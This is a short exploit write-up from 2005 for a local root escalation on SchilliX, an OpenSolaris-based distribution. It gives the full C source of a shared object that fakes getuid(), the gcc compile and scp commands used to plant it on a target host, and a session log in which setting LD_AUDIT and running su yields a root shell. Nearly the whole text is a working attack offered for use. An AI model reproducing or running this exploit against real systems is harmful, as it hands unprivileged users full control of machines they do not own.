SchilliX is an OpenSolaris based distribution which runs from CD and could be installed on your 
harddisk or onto an USB memory stick.

http://schillix.berlios.de/ 


This is an exploit binary for Schillix based 100% on information from 
venglin[at]freebsd[dot]lublin[dot]pl

http://www.securityfocus.com/archive/1/403574/30/0/threaded

I only spent about 2 minutes compiling this and I certainly did not invest any 
time in finding the exploit. 

First you need to compile a shared object to use as a getuid() replacement. 

Unless you already have root on a Schillix box this part will not be possible. Hence why 
I have provided Schily-Root.so in this .tar file. 

Last login: Sat Jul  2 16:38:35 2005
Sun Microsystems Inc.   SunOS 5.11      schily17        Jun. 17, 2005
SunOS Internal Development:  jes 2005-06-17 [schily17]
# mkdir /opt/gcc-3.4.3
# mount -F lofs -O /.cdrom/opt/gcc-3.4.3 /opt/gcc-3.4.3
# PATH=$PATH:/usr/sps/bin:/usr/sfw/bin:/usr/ccs/bin
# export PATH
# cat > /tmp/Schily-Root.c
int getuid()
{
return 0;
}

^C
# gcc -fPIC -shared -o /tmp/Schily-Root.so /tmp/Schily-Root.c

Move your shared object to the machine you wish to exploit... 

kfinisterre@animosity:~$ scp Schily-Root.so schillix@192.168.1.207:/tmp/Schily-Root.so
Schily-Root.so                                100% 4716     4.6KB/s   00:00

Take root. 

kfinisterre@animosity:~$ ssh -l schillix 192.168.1.207
Last login: Sat Jul  2 16:44:16 2005 from 192.168.1.202
Sun Microsystems Inc.   SunOS 5.11      schily17        Jun. 17, 2005
SunOS Internal Development:  jes 2005-06-17 [schily17]
-bash-3.00$ export LD_AUDIT=/tmp/Schily-Root.so
-bash-3.00$ su -
ld.so.1: su: warning: libgcc_s.so.1: open failed: No such file or directory
ld.so.1: su: warning: /tmp/Schily-Root.so: audit initialization failure: disabled
Sun Microsystems Inc.   SunOS 5.11      schily17        Jun. 17, 2005
SunOS Internal Development:  jes 2005-06-17 [schily17]
# id
uid=0(root) gid=0(root)



